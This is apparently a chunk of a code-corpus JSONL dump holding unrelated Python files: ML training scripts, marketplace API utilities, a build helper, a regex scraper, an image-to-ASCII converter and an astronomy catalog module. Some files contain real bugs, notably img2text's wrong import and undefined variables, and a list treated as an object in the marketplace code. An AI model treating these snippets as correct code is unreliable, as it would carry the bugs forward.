sampler=train_sampler)\n\n    valid_loader = torch.utils.data.DataLoader(dataset,\n                                               batch_size=BATCH_SIZE,\n                                               shuffle=False, num_workers=4,\n                                               sampler=valid_sampler)\n\n    print(dataset[0].shape)\n\n    for i in range(len(dataset)):\n        X = inverse_transform(dataset[i])\n        # print(y, group)\n        plt.figure()\n        plt.imshow(X)\n        plt.axis('off')\n        plt.show()\n","sub_path":"signer-independent-pytorch/bck/data/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":12251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"109990433","text":"# -*- coding: utf-8 -*-\nfrom collections import defaultdict\n\nfrom django.conf import settings\n\nimport commonware.log\nimport waffle\n\nimport amo\nfrom addons.models import AddonUser\nfrom amo.helpers import absolutify\nfrom amo.urlresolvers import reverse\nfrom amo.utils import find_language\nfrom constants.applications import DEVICE_TYPES\nfrom market.models import Price\nfrom users.models import UserProfile\n\nimport mkt\nfrom mkt.regions import REGIONS_CHOICES_ID_DICT\n\n\nlog = commonware.log.getLogger('z.webapps')\n\n\ndef get_locale_properties(manifest, property, default_locale=None):\n    locale_dict = {}\n    for locale in manifest.get('locales', {}):\n        if property in manifest['locales'][locale]:\n            locale_dict[locale] = manifest['locales'][locale][property]\n\n    # Add in the default locale name.\n    default = manifest.get('default_locale') or default_locale\n    root_property = manifest.get(property)\n    if default and root_property:\n        locale_dict[default] = root_property\n\n    return locale_dict\n\n\ndef get_supported_locales(manifest):\n    \"\"\"\n    Returns a list of locales found in the \"locales\" property of the manifest.\n\n    This will convert locales found in the SHORTER_LANGUAGES setting to their\n    full locale. It will also remove locales not found in AMO_LANGUAGES.\n\n    Note: The default_locale is not included.\n\n    \"\"\"\n    return sorted(filter(None, map(find_language, set(\n        manifest.get('locales', {}).keys()))))\n\n\ndef get_translations(src, attr, default_locale, lang):\n    \"\"\"\n    Return dict of localized strings for attr or string if lang provided.\n\n    If lang is provided, try to get the attr localized in lang, falling back to\n    the app's default_locale and server language.\n\n    If lang is not provided, we return all localized strings in the form::\n\n        {\"en\": \"English\", \"es\": \"Español\"}\n\n    \"\"\"\n    translations = src.get(attr, {})\n    requested_language = find_language(lang)\n\n    # If a language was requested, return only that translation.\n    if requested_language:\n        return (translations.get(requested_language) or\n                translations.get(default_locale) or\n                translations.get(settings.LANGUAGE_CODE) or u'')\n    else:\n        return translations or None\n\n\ndef es_app_to_dict(obj, region=None, profile=None, request=None):\n    \"\"\"\n    Return app data as dict for API where `app` is the elasticsearch result.\n    \"\"\"\n    # Circular import.\n    from mkt.developers.models import AddonPaymentAccount\n    from mkt.webapps.models import Installed, Webapp\n\n    translation_fields = ('banner_message', 'description', 'homepage', 'name',\n                          'release_notes', 'support_email', 'support_url')\n    lang = None\n    if request and request.method == 'GET' and 'lang' in request.GET:\n        lang = request.GET.get('lang', '').lower()\n\n    src = obj._source\n    # The following doesn't perform a database query, but gives us useful\n    # methods like `get_detail_url`. If you use `obj` make sure the calls\n    # don't query the database.\n    is_packaged = src.get('app_type') != amo.ADDON_WEBAPP_HOSTED\n    app = Webapp(app_slug=obj.app_slug, is_packaged=is_packaged)\n\n    attrs = ('created', 'current_version', 'default_locale', 'is_offline',\n             'manifest_url', 'previews', 'reviewed', 'ratings', 'status',\n             'weekly_downloads')\n    data = dict((a, getattr(obj, a, None)) for a in attrs)\n\n    # Flatten the localized fields from {'lang': ..., 'string': ...}\n    # to {lang: string}.\n    for field in translation_fields:\n        src_field = '%s_translations' % field\n        value_field = src.get(src_field)\n        src[src_field] = dict((v.get('lang', ''), v.get('string', ''))\n                              for v in value_field) if value_field else {}\n        data[field] = get_translations(src, src_field, obj.default_locale,\n                                       lang)\n\n    if getattr(obj, 'content_ratings', None):\n        for region_key in obj.content_ratings:\n            obj.content_ratings[region_key] = dehydrate_content_rating(\n                obj.content_ratings[region_key], region_key)\n\n    data.update({\n        'absolute_url': absolutify(app.get_detail_url()),\n        'app_type': app.app_type,\n        'author': src.get('author', ''),\n        'banner_regions': src.get('banner_regions', []),\n        'categories': [c for c in obj.category],\n        'content_ratings': {\n            'ratings': getattr(obj, 'content_ratings', {}),\n            'descriptors': dehydrate_descriptors(\n                getattr(obj, 'content_descriptors', {})),\n            'interactive_elements': dehydrate_interactives(\n                getattr(obj, 'interactive_elements', [])),\n        },\n        'device_types': [DEVICE_TYPES[d].api_name for d in src.get('device')],\n        'icons': dict((i['size'], i['url']) for i in src.get('icons')),\n        'id': long(obj._id),\n        'is_packaged': is_packaged,\n        'payment_required': False,\n        'premium_type': amo.ADDON_PREMIUM_API[src.get('premium_type')],\n        'privacy_policy': reverse('app-privacy-policy-detail',\n                                  kwargs={'pk': obj._id}),\n        'public_stats': obj.has_public_stats,\n        'supported_locales': src.get('supported_locales', ''),\n        'slug': obj.app_slug,\n        # TODO: Remove the type check once this code rolls out and our indexes\n        # aren't between mapping changes.\n        'versions': dict((v.get('version'), v.get('resource_uri')) for v in\n                         src.get('versions') if type(v) == dict),\n    })\n\n    if not data['public_stats']:\n        data['weekly_downloads'] = None\n    def serialize_region(o):\n        d = {}\n        for field in ('name', 'slug', 'mcc', 'adolescent'):\n            d[field] = getattr(o, field, None)\n        return d\n    data['regions'] = [serialize_region(REGIONS_CHOICES_ID_DICT.get(k))\n                       for k in app.get_region_ids(\n                               worldwide=True,\n                               excluded=obj.region_exclusions)]\n\n    if src.get('premium_type') in amo.ADDON_PREMIUMS:\n        acct = list(AddonPaymentAccount.objects.filter(addon=app))\n        if acct and acct.payment_account:\n            data['payment_account'] = reverse(\n                'payment-account-detail',\n                kwargs={'pk': acct.payment_account.pk})\n    else:\n        data['payment_account'] = None\n\n    data['upsell'] = False\n    if hasattr(obj, 'upsell'):\n        exclusions = obj.upsell.get('region_exclusions')\n        if exclusions is not None and region not in exclusions:\n            data['upsell'] = obj.upsell\n            data['upsell']['resource_uri'] = reverse(\n                'app-detail',\n                kwargs={'pk': obj.upsell['id']})\n\n    data['price'] = data['price_locale'] = None\n    try:\n        price_tier = src.get('price_tier')\n        if price_tier:\n            price = Price.objects.get(name=price_tier)\n            price_currency = price.get_price_currency(region=region)\n            if price_currency and price_currency.paid:\n                data['price'] = price.get_price(region=region)\n                data['price_locale'] = price.get_price_locale(\n                    region=region)\n            data['payment_required'] = bool(price.price)\n    except Price.DoesNotExist:\n        log.warning('Issue with price tier on app: {0}'.format(obj._id))\n        data['payment_required'] = True\n\n    # TODO: Let's get rid of these from the API to avoid db hits.\n    if profile and isinstance(profile, UserProfile):\n        data['user'] = {\n            'developed': AddonUser.objects.filter(\n                addon=obj.id, user=profile,\n                role=amo.AUTHOR_ROLE_OWNER).exists(),\n            'installed': Installed.objects.filter(\n                user=profile, addon_id=obj.id).exists(),\n            'purchased': obj.id in profile.purchase_ids(),\n        }\n\n    return data\n\n\ndef dehydrate_content_rating(rating, region=None):\n    \"\"\"\n    {body.id, rating.id} to translated {rating labels, names, descriptions}.\n    \"\"\"\n    if (not waffle.switch_is_active('iarc') and\n        region not in [_region.slug for _region in\n                       mkt.regions.ALL_REGIONS_WITH_CONTENT_RATINGS()]):\n        # Ratings only enabled for Brazil and Germany before IARC work.\n        # When removing this waffle switch, remove the whole `if`\n        # clause.\n        return\n\n    try:\n        body = mkt.ratingsbodies.dehydrate_ratings_body(\n            mkt.ratingsbodies.RATINGS_BODIES[int(rating['body'])])\n    except TypeError:\n        # Legacy ES format (bug 943371).\n        return {}\n\n    rating = mkt.ratingsbodies.dehydrate_rating(\n        body.ratings[int(rating['rating'])])\n\n    return {\n        'body': unicode(body.name),\n        'body_label': body.label,\n        'rating': rating.name,\n        'rating_label': rating.label,\n        'description': rating.description\n    }\n\n\ndef dehydrate_descriptors(keys):\n    \"\"\"\n    List of keys to lists of objects (desc label, desc name) by body.\n\n    ['ESRB_BLOOD, ...] to\n    {'esrb': [{'label': 'blood', 'name': 'Blood'}], ...}.\n    \"\"\"\n    results = defaultdict(list)\n    for key in keys:\n        obj = mkt.ratingdescriptors.RATING_DESCS.get(key)\n        if obj:\n            # Slugify and remove body prefix.\n            body, label = key.lower().replace('_', '-').split('-', 1)\n            results[body].append({\n                'label': label,\n                'name': unicode(obj['name']),\n            })\n    return results\n\n\ndef dehydrate_interactives(keys):\n    \"\"\"\n    List of keys to list of objects (label, name).\n\n    ['SOCIAL_NETWORKING', ...] to\n    [{'label': 'social-networking', 'name': 'Facebocks'}, ...].\n    \"\"\"\n    results = []\n    for key in keys:\n        obj = mkt.ratinginteractives.RATING_INTERACTIVES.get(key)\n        if obj:\n            results.append({\n                'label': key.lower().replace('_', '-'),\n                'name': unicode(obj['name']),\n            })\n    return results\n","sub_path":"mkt/webapps/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"49871005","text":"\"\"\"\nAPIC-EM Workshop\nApril 12, 2018\n\"\"\"\n\nimport requests\nfrom tabulate import tabulate\nfrom apic_em import get_hosts\n\n# Disable SSL warnings\nrequests.packages.urllib3.disable_warnings()  \n\n\ndef print_hosts():\n    \"\"\"Prints a table of hosts. NOTE: This calls apic_em.get_hosts\n       for the list of hosts.\n    \"\"\"\n    host_list = []\n    for n, host in enumerate(get_hosts()):\n        host_list.append(\n            [n,\n             host.type,\n             host.ip\n             ])\n    table_header = [\"Number\", \"Type\", \"IP\"]\n    print(tabulate(host_list, table_header))\n\n\nprint_hosts()\n","sub_path":"print_hosts.py","file_name":"print_hosts.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"184948371","text":"import sys\nimport click\nimport os\nimport shutil\nimport subprocess\nfrom packageinfo import BUILD, VERSION, NAME\n\n\ndef bootstrap_common():\n    if not os.path.exists(\"buildrecipes-common\"):\n        subprocess.check_call([\n            \"git\", \"clone\",\n            \"http://github.com/simphony/buildrecipes-common.git\",\n            ])\n    sys.path.insert(0, \"buildrecipes-common\")\n\nbootstrap_common()\nimport common\n\nworkspace = common.workspace()\ncommon.edmenv_setup()\nclone_dir = \"simphony-openfoam-{VERSION}\".format(VERSION=VERSION)\n\n\n@click.group()\ndef cli():\n    pass\n\n\n@cli.command()\ndef egg():\n    _clean()\n    os.makedirs(\"dist\")\n\n    if not os.path.exists(clone_dir):\n        common.run(\"git clone --branch \"+VERSION+\n        \" http://github.com/simphony/simphony-openfoam.git \"\n        +clone_dir)\n\n    with common.cd(clone_dir):\n        common.edmenv_run(\"python setup.py bdist_egg\")\n\n    shutil.copy(\n        os.path.join(clone_dir, \"dist\", \"{NAME}-{VERSION}-py2.7.egg\".format(\n        NAME=NAME, VERSION=VERSION)),\n        \"dist\")\n    common.run(\"edm repack-egg -b {BUILD} dist/{NAME}-{VERSION}-py2.7.egg\".format(\n        NAME=NAME, VERSION=VERSION, BUILD=BUILD))\n\n\n\n\n@cli.command()\ndef upload_egg():\n    egg_path = \"dist/{NAME}-{VERSION}-{BUILD}.egg\".format(\n        NAME=NAME,\n        VERSION=VERSION,\n        BUILD=BUILD)\n    click.echo(\"Uploading {} to EDM repo\".format(egg_path))\n    common.upload_egg(egg_path)\n    click.echo(\"Done\")\n\n\n@cli.command()\ndef clean():\n    _clean()\n\ndef _clean():\n    click.echo(\"Cleaning\")\n    common.clean([\"dist\", clone_dir, \"buildrecipes-common\"])\n\n\ncli()\n","sub_path":"builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"603719642","text":"import json\n#jsondata = {\"name\":\"mohansa\",\"age\":30}\n#jsondata1 = {\"name\":\"sakethram\",\"age\":12}\n\n\ndata = { }\ndata = []\n\ndata.append(\n    {\n        \"name\":\"manju\",\n        \"age\":30,\n        \"sex\":\"M\"\n    })\ndata.append(\n    {\n        \"name\":\"lekshana\",\n        \"age\":3,\n        \"sex\":\"F\"\n    })\n\nwith open(\"delete.json\",\"a\") as fd:\n    json.dump(data, fd,indent=2)\n    #json.dump(jsondata1, fd, indent=2)\n\n#    print(data)","sub_path":"Manish/delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"473830255","text":"'''\r\n\r\nDescription:   网站爬虫  http://sousuo.gov.cn/column/45066/0.htm\r\n@author: LiuHao\r\n@date 2019年12月10日 上午9:35:17\r\n'''\r\n# 导入urllib下的request模块\r\nimport urllib.request\r\n# 导入正则匹配包\r\nimport re\r\n\r\n# -*- encoding:utf-8 -*-\r\n# 步骤\r\n# 1.确定要爬取数据的网址\r\n# 2.获取该网址的源码\r\n# 3.使用正则表达式去匹配网址的源码（匹配所需要的数据类型）\r\n# 4.将爬取的数据保存至本地或者数据库\r\n\r\n# 确定要爬取数据的网址\r\nurl=\"http://www.csrc.gov.cn/pub/newsite/zjhxwfb/\"\r\n# 该网址的源码(以该网页的原编码方式进行编码，特殊字符编译不能编码就设置ignore)\r\nwebSourceCode=urllib.request.urlopen(url).read().decode(\"utf-8\",\"ignore\")\r\nwebSourceCode = ' '.join(webSourceCode.split());\r\nre_comment = re.compile('<!--[^>]*-->')\r\nwebSourceCode = re_comment.sub('', webSourceCode) \r\nprint(' '.join(webSourceCode.split()))\r\n\r\n\r\ntitleRe=re.compile(r'<div class=\"bt\">(.*?)</div> <div class=\"more\"><a href=\"(.*?)\">更多</a></div>')\r\n#   <a href=\"(.*?)\" title=\".*?\">(.*?)</a> <span>(.*?)</span>\r\ntitles=titleRe.findall(webSourceCode)\r\nprint(len(titles))\r\nfor title in titles:\r\n    print(\"=======================分割====================\")\r\n    print(\"url:\" + title[0] + \"  标题:\" + title[1])\r\n    url1 = title[1];\r\n    if './' in url1:\r\n        url1 = url + url1[2:];\r\n    print(\"url:\" + url1 + \"  标题:\" + title[0])\r\n    \r\n    print(\"分类:======\" + title[0] + \"==============url:\" + url1)\r\n    \r\n    if \"时政要闻\" in title[0]:\r\n        break\r\n    webSourceCode1=urllib.request.urlopen(url1).read().decode(\"utf-8\",\"ignore\")\r\n    webSourceCode1 = ' '.join(webSourceCode1.split());\r\n    titleRe1=re.compile(r'<li> <a href=\"(.*?)\" target=\"_blank\" title=\".*?\">(.*?)</a> <span>(.*?)</span> <div class=\"clear\"></div> </li>')\r\n    titles1=titleRe1.findall(webSourceCode1)\r\n    print(len(titles1))\r\n    for title1 in titles1:\r\n        url2 = url1 + title1[0][2:]\r\n        print(\"=====下一条========\")\r\n        print(\"url:\" + url2 + \"  标题:\" + title1[1])\r\n        print(\"发布时间:\" + title1[2])\r\n        print(\"=====详情========\")\r\n        if \"证监会要闻\" in title[0]:\r\n            webSourceCode2=urllib.request.urlopen(url2).read().decode(\"utf-8\",\"ignore\")\r\n            webSourceCode2 = ' '.join(webSourceCode2.split());\r\n            titleRe2=re.compile(r'<div class=\"title\">(.*?)<br> </div>')\r\n            titles2=titleRe2.findall(webSourceCode2)\r\n            print(\"标题:\" + titles2[0])\r\n            print(webSourceCode2)\r\n            contentRe=re.compile(r'<SPAN>(.*?)</SPAN>')\r\n            contents=contentRe.findall(webSourceCode2)\r\n            print(\"内容:\" )\r\n            for content in contents:\r\n                print(content)\r\n        if \"新闻发布会\" in title[0]:\r\n            webSourceCode2=urllib.request.urlopen(url2).read().decode(\"utf-8\",\"ignore\")\r\n            webSourceCode2 = ' '.join(webSourceCode2.split());\r\n            titleRe2=re.compile(r'<div class=\"title\">(.*?)<br> </div>')\r\n            titles2=titleRe2.findall(webSourceCode2)\r\n            contentRe=re.compile(r'<SPAN>(.*?)</SPAN>')\r\n            contents=contentRe.findall(webSourceCode2)\r\n            print(\"内容:\" )\r\n            for content in contents:\r\n                print(content)\r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n#     imgRe=re.compile(r'src=\"(.*?\\.jpg)\"')\r\n#     images=imgRe.findall(webSourceCode)\r\n#     print(\"图片==============================================================\")\r\n#     for image in images:\r\n#         print(image)\r\n#     contentRe=re.compile(r'<p style=\"text-indent: 2em; font-family: 宋体; font-size: 12pt;\">(.*?)</p>')\r\n#     contents=contentRe.findall(webSourceCode)\r\n#     print(\"内容:\" )\r\n#     for content in contents:\r\n#         print(content)\r\n","sub_path":"src/com/pyCrawler4.py","file_name":"pyCrawler4.py","file_ext":"py","file_size_in_byte":3833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"208371645","text":"import argparser\nimport numpy as np\nfrom PIL import Image\n\n# python img/surprised_pikachu.jpg 10 120 img/surprised_pikachu.txt\n\nchar_aspect = .6\n\n# parsing command line inputs\nparser = argparse.ArgumentParser(description='Convert img. to txt.')\nparser.add_argument(\"input_file\", type=str, help=\"origional image\")\nparser.add_argument(\"colors\", type=int, help=\"conversion of colors\")\nparser.add_argument(\"output_width\", type=int, help=\"change of thy width\")\nparser.add_argument(\"output_file\", type=str, help=\"change of thy file\")\nargs = parser.parse_args()\n\nncolors = int(colors)\noutput_width = int(output_width)\noriginal_img = Image.open(input_file)\noriginal_width, original_height = original_img.size\n\nimg_bw_quantized = original_img.convert(\"L\").quantize(colors=ncolors)\n\nscaling_factor = output_width / original_width\nprocessed_img = img_bw_quantized.resize((output_width, int(scaling_factor * original_height * char_aspect)))\n\nimg_array = np.array(processed_img)\n\ngradient = \" .:-=+*#%@\"\nuseful_gradient = [int(round(i)) for i in np.linspace(0, len(gradient) - 1, nclolors)]\n\nwith open(output_file, \"w\") as f:\n    for row in img_array:\n        output = \"\"\n        for value in row:\n            output += gradient[value]\n        f.write(output + \"\\n\")\n","sub_path":"img2text.py","file_name":"img2text.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"66472233","text":"\"\"\"\nReverse Only Letters\nhttps://leetcode.com/problems/reverse-only-letters/\n\nTime O(n)\nSpace O(1)\n\"\"\"\nclass Solution:\n    def reverseOnlyLetters(self, S: str) -> str:\n        A = list(S)\n        l, r = 0, len(S) - 1\n        while l < r:\n            if A[l].isalpha() and A[r].isalpha():\n                A[l], A[r] = A[r], A[l]\n                l += 1\n                r -= 1\n            elif A[l].isalpha():\n                r -= 1\n            else:\n                l += 1\n        \n        return \"\".join(A)\n","sub_path":"python/reverse_only_letters.py","file_name":"reverse_only_letters.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"178992794","text":"import argparse\nimport math\nimport os\nimport time\n\nimport numpy as np\nfrom scipy.stats import pearsonr, spearmanr\nimport torch\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport torch.optim as optim\n\nfrom dataset import DatasetType, MPCNNDatasetFactory\nfrom evaluation import MPCNNEvaluatorFactory\nfrom model import MPCNN\nfrom train import MPCNNTrainerFactory\n\n# logging setup\nimport logging\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\nch = logging.StreamHandler()\nch.setLevel(logging.DEBUG)\nformatter = logging.Formatter('%(levelname)s - %(message)s')\nch.setFormatter(formatter)\nlogger.addHandler(ch)\n\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description='PyTorch implementation of Multi-Perspective CNN')\n    parser.add_argument('model_outfile', help='file to save final model')\n    parser.add_argument('--dataset', help='dataset to use, one of [sick, msrvid]', default='sick')\n    parser.add_argument('--word-vectors-file', help='word vectors file', default=os.path.join(os.pardir, os.pardir, 'data', 'GloVe', 'glove.840B.300d.txt'))\n    parser.add_argument('--skip-training', help='will load pre-trained model', action='store_true')\n    parser.add_argument('--no-cuda', action='store_true', default=False, help='disables CUDA training')\n    parser.add_argument('--batch-size', type=int, default=64, metavar='N', help='input batch size for training (default: 64)')\n    parser.add_argument('--epochs', type=int, default=10, metavar='N', help='number of epochs to train (default: 10)')\n    parser.add_argument('--lr', type=float, default=0.001, metavar='LR', help='learning rate (default: 0.001)')\n    parser.add_argument('--epsilon', type=float, default=1e-8, metavar='M', help='Adam epsilon (default: 1e-8)')\n    parser.add_argument('--log-interval', type=int, default=10, metavar='N', help='how many batches to wait before logging training status')\n    parser.add_argument('--sample', type=int, default=0, metavar='N', help='how many examples to take from each dataset, meant for quickly testing entire end-to-end pipeline (default: all)')\n    parser.add_argument('--regularization', type=float, default=0.0001, metavar='REG', help='Regularization for the optimizer (default: 0.0001)')\n    parser.add_argument('--max-window-size', type=int, default=3, metavar='N', help='windows sizes will be [1,max_window_size] and infinity')\n    parser.add_argument('--holistic-filters', type=int, default=300, metavar='N', help='number of holistic filters')\n    parser.add_argument('--per-dim-filters', type=int, default=20, metavar='N', help='number of per-dimension filters')\n    parser.add_argument('--hidden-units', type=int, default=150, metavar='N', help='number of hidden units in each of the two hidden layers')\n    parser.add_argument('--seed', type=int, default=1, metavar='S', help='random seed (default: 1)')\n    args = parser.parse_args()\n    args.cuda = not args.no_cuda and torch.cuda.is_available()\n\n    np.random.seed(args.seed)\n    torch.manual_seed(args.seed)\n    if args.cuda:\n        torch.cuda.manual_seed(args.seed)\n\n    train_loader, test_loader, dev_loader = MPCNNDatasetFactory.get_dataset(args.dataset, args.word_vectors_file, args.batch_size, args.cuda, args.sample)\n\n    filter_widths = list(range(1, args.max_window_size + 1)) + [np.inf]\n    model = MPCNN(300, args.holistic_filters, args.per_dim_filters, filter_widths, args.hidden_units, train_loader.dataset.num_classes)\n    if args.cuda:\n        model.cuda()\n    optimizer = optim.Adam(model.parameters(), lr=args.lr, weight_decay=args.regularization, eps=args.epsilon)\n    train_evaluator = MPCNNEvaluatorFactory.get_evaluator(args.dataset, model, train_loader, args.batch_size, args.cuda)\n    test_evaluator = MPCNNEvaluatorFactory.get_evaluator(args.dataset, model, test_loader, args.batch_size, args.cuda)\n    dev_evaluator = MPCNNEvaluatorFactory.get_evaluator(args.dataset, model, dev_loader, args.batch_size, args.cuda)\n\n    trainer = MPCNNTrainerFactory.get_trainer(args.dataset, model, optimizer, train_loader, args.batch_size, args.sample, args.log_interval, args.model_outfile, train_evaluator, test_evaluator, dev_evaluator)\n\n    if not args.skip_training:\n        total_params = 0\n        for param in model.parameters():\n            size = [s for s in param.size()]\n            total_params += np.prod(size)\n        logger.info('Total number of parameters: %s', total_params)\n        trainer.train(args.epochs)\n\n    model = torch.load(args.model_outfile)\n    test_evaluator = MPCNNEvaluatorFactory.get_evaluator(args.dataset, model, test_loader, args.batch_size, args.cuda)\n    scores, metric_names = test_evaluator.get_scores()\n    logger.info('Evaluation metrics for test')\n    logger.info('\\t'.join([' '] + metric_names))\n    logger.info('\\t'.join(['test'] + list(map(str, scores))))\n","sub_path":"mp_cnn/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"567700838","text":"# !/usr/bin/python\n# utf-8\n\n# Plot data from program gravity. For one body\n# x,y,z are plotted versus t. Plot 3 individual\n# figures for x, y and z.\n\nimport matplotlib.pyplot as plt\nfrom numpy import loadtxt\nfrom sys import argv\n\nN = int(argv[1])\ndim3 = False\nif len(argv) > 2:\n    dim3 = True\ndata = loadtxt(\"results.out\")\ncolors = ['r','b','g','m','k']\naxes = ['X','Y','Z']\n\ni = 1\nj = 0\nt = data[:,0]\n\nwhile i <= 3:\n    plt.figure(i)\n    plt.title(axes[i-1])\n    while j < N:\n        index = 3*j + i\n        r = data[:,index]\n        plt.plot(t,r,colors[j])\n        j += 1\n    j = 0\n    i += 1\n\nif dim3:\n    from mpl_toolkits.mplot3d import Axes3D\n\n    fig = plt.figure(i)\n    ax = fig.add_subplot(111, projection='3d')\n    ax.set_xlabel('X')\n    ax.set_ylabel('Y')\n    ax.set_zlabel('Z')\n\n    i = 1\n\n    while i <= N:\n        section = (i-1)*3\n\n        xsec = 1 + section\n        ysec = xsec + 1\n        zsec = ysec + 1\n\n        x = data[:,xsec]\n        y = data[:,ysec]\n        z = data[:,zsec]\n\n        ax.scatter(x,y,z,c=colors[i-1])\n    \n        i += 1\n\nplt.show()\n\n\n\n    \n\n\n    \n","sub_path":"plotalt.py","file_name":"plotalt.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"385969156","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\"\"\"\nThis module provides support for working with image footprints on the sky and\nsource catalogs.\n\n:Authors: Mihai Cara (contact: help@stsci.edu)\n\n:License: :doc:`../LICENSE`\n\n\"\"\"\n# STDLIB\nimport logging\nimport numbers\nfrom copy import deepcopy\n\n# THIRD-PARTY\nimport numpy as np\nimport gwcs\nfrom astropy import table\nfrom spherical_geometry.polygon import SphericalPolygon\nfrom stsci.stimage import xyxymatch\n\n# LOCAL\nfrom .wcsutils import cartesian2spherical, spherical2cartesian, planar_rot_3D\nfrom .tpwcs import TPWCS\nfrom .matchutils import TPMatch\nfrom .linalg import inv\nfrom .linearfit import iter_linear_fit\n\nfrom . import __version__, __version_date__\n\n__author__ = 'Mihai Cara'\n\n__all__ = ['convex_hull', 'RefCatalog', 'WCSImageCatalog', 'WCSGroupCatalog']\n\n\nlog = logging.getLogger(__name__)\nlog.setLevel(logging.DEBUG)\n\n\ndef _is_int(n):\n    return (\n        (isinstance(n, numbers.Integral) and not isinstance(n, bool)) or\n        (isinstance(n, np.generic) and np.issubdtype(n, np.integer))\n    )\n\n\nclass WCSImageCatalog(object):\n    \"\"\"\n    A class that holds information pertinent to an image WCS and a source\n    catalog of the sources found in that image.\n\n    \"\"\"\n    def __init__(self, catalog, imwcs, shape=None, name=None, meta={}):\n        \"\"\"\n        Parameters\n        ----------\n\n        catalog : astropy.table.Table\n            Source catalog associated with an image. Must contain ``'x'`` and\n            ``'y'`` columns which indicate source coordinates (in pixels) in\n            the associated image.\n\n        imwcs : TPWCS\n            WCS associated with the image from which the catalog was derived.\n\n        shape : tuple, None, optional\n            A tuple of two integer values indicating the size of the image\n            along each axis. Must follow the same convention as the shape of\n            a :py:class:`numpy.ndarray` objects. Specifically,\n            first size should be indicate the number of rows in the image and\n            second size should indicate the number of columns in the image.\n            When ``shape`` has the default value of `None`, image shape is\n            estimated as :math:`(\\max(y, 1), \\max(x, 1))`.\n\n        name : str, None, optional\n            Image catalog's name.\n\n        meta : dict, optional\n            Additional information about image, catalog, and/or WCS to be\n            stored (for convenience) within `WCSImageCatalog` object.\n\n        \"\"\"\n        self._shape = shape\n        self._name = name\n        self._catalog = None\n        self._bb_radec = None\n\n        self.img_bounding_ra = None\n        self.img_bounding_dec = None\n\n        self.meta = {}\n        self.meta.update(meta)\n\n        self.imwcs = imwcs\n        self.catalog = catalog\n\n    @property\n    def imwcs(self):\n        \"\"\" Get :py:class:`TPWCS` WCS. \"\"\"\n        return self._imwcs\n\n    @imwcs.setter\n    def imwcs(self, imwcs):\n        \"\"\" Get/Set catalog's WCS (a :py:class:`TPWCS` object).\n\n        .. note::\n            Setting the WCS triggers automatic bounding polygon recalculation.\n\n        Parameters\n        ----------\n\n        imwcs : TPWCS\n            WCS associated with the image from which the catalog was derived.\n\n        \"\"\"\n        if not isinstance(imwcs, TPWCS):\n            raise TypeError(\"Unsupported 'imwcs' type. \"\n                            \"'imwcs' must be a subtype of TPWCS.\")\n        self._imwcs = imwcs\n\n        # create spherical polygon bounding the image\n        self.calc_bounding_polygon()\n\n    @property\n    def name(self):\n        \"\"\" Get/set :py:class:`WCSImageCatalog` object's name.\n        \"\"\"\n        return self._name\n\n    @name.setter\n    def name(self, name):\n        self._name = name\n        if hasattr(self, '_catalog'):\n            if self._catalog is not None:\n                self._catalog.meta['name'] = name\n\n    @property\n    def shape(self):\n        \"\"\"\n        Get/set image's shape. This must be a tuple of two dimensions\n        following the same convention as the shape of `numpy.ndarray`.\n\n        \"\"\"\n        return self._shape\n\n    @shape.setter\n    def shape(self, shape):\n        if shape is None:\n            self._shape = None\n            return\n\n        try:\n            is_int = all(map(_is_int, shape))\n            if not is_int:\n                raise TypeError\n        except TypeError:\n            raise TypeError(\"'shape' must be a 1D list/tuple/array with \"\n                            \"exactly two integer elements or None.\")\n\n        if not all(npix > 0 for npix in shape):\n            raise ValueError(\"Null image: Image dimension must be positive.\")\n\n        self._shape = (int(shape[0]), int(shape[1]))\n\n    @property\n    def catalog(self):\n        \"\"\" Get/set image's catalog.\n        \"\"\"\n        return self._catalog\n\n    @catalog.setter\n    def catalog(self, catalog):\n        if catalog is None:\n            self._catalog = None\n            return\n\n        if 'x' not in catalog.colnames or 'y' not in catalog.colnames:\n            raise ValueError(\"An image catalog must contain 'x' and 'y' \"\n                             \"columns!\")\n\n        if len(catalog) < 1:\n            raise ValueError(\"Image catalog must contain at least one entry.\")\n\n        self._catalog = table.Table(catalog.copy(), masked=True)\n        self._catalog.meta['name'] = self._name\n\n        if 'id' not in self._catalog.colnames:\n            self._catalog['id'] = np.arange(1, len(self._catalog) + 1)\n\n        # create spherical polygon bounding the image\n        self.calc_bounding_polygon()\n\n    def det_to_world(self, x, y):\n        \"\"\"\n        Convert pixel coordinates to sky coordinates using full\n        (i.e., including distortions) transformations.\n\n        \"\"\"\n        if self._imwcs is None:\n            raise RuntimeError(\"WCS has not been set\")\n        return self._imwcs.det_to_world(x, y)\n\n    def world_to_det(self, ra, dec):\n        \"\"\"\n        Convert sky coordinates to image's pixel coordinates using full\n        (i.e., including distortions) transformations.\n\n        \"\"\"\n        if self._imwcs is None:\n            raise RuntimeError(\"WCS has not been set\")\n        return 